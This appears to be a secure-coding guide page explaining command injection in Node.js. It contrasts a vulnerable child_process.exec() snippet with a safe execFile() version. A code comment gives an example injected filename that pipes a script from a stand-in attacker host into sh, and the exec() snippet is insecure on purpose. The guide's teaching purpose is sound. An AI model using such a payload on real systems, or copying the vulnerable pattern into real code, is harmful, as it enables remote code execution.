flawopen.com/Command Injection/JavaScript
Imagine ordering food from a menu. If the waiter takes your note 'Burger; bring all money in register' and gives it to a cook who obeys every sentence on the paper, that is command injection.
In Node.js, developers frequently reach for child_process.exec() to run system utilities like git, tar, or convert. Because exec() invokes an underlying shell interpreter, interpolating variables with template literals allows attackers to execute arbitrary commands.
Over 50 npm packages have suffered high-severity command injection CVEs due to naive wrapping of CLI tools via child_process.exec, leading to malicious cryptominer installations and secret exfiltration.
Snyk & GitHub Advisory Database.// child_process.exec spawns a shell and parses metacharacters
const { exec } = require('child_process');
function convertImage(filename) {
// Input: "avatar.png; curl http://evil.com/shell | sh"
exec(`convert ${filename} -resize 100x100 out.png`, (err, stdout) => {
console.log(stdout);
});
}
// child_process.execFile executes the binary directly without a shell
const { execFile } = require('child_process');
function convertImage(filename) {
// filename is passed as a literal argument, never parsed as a shell command
execFile('convert', [filename, '-resize', '100x100', 'out.png'], (err, stdout) => {
console.log(stdout);
});
}
execFile() calls operating system process creation APIs directly. The arguments are passed as distinct strings in an array, so characters like ; or | are interpreted literally as part of the filename, rather than control operators.
On Windows, executing batch files requires cmd.exe, which re-introduces command parsing. Use compiled binaries (.exe) or sanitize arguments strictly on Windows.
Using spawn() with the shell: true option re-enables the shell interpreter and exposes the exact same injection surface.
The child process runs with the exact same permissions as the Node process itself—meaning full access to source code, environment variables (.env), and credentials.
grep -rn "child_process.*\.exec(" --include="*.js" --include="*.ts" .
security/detect-child-process to flag shell execution in pull requests.exec() calls with execFile() or spawn(){ shell: true } to spawn()execFile buffers the complete output in memory and returns a callback; spawn streams stdout/stderr chunks. Both are safe from shell injection when invoked without a shell.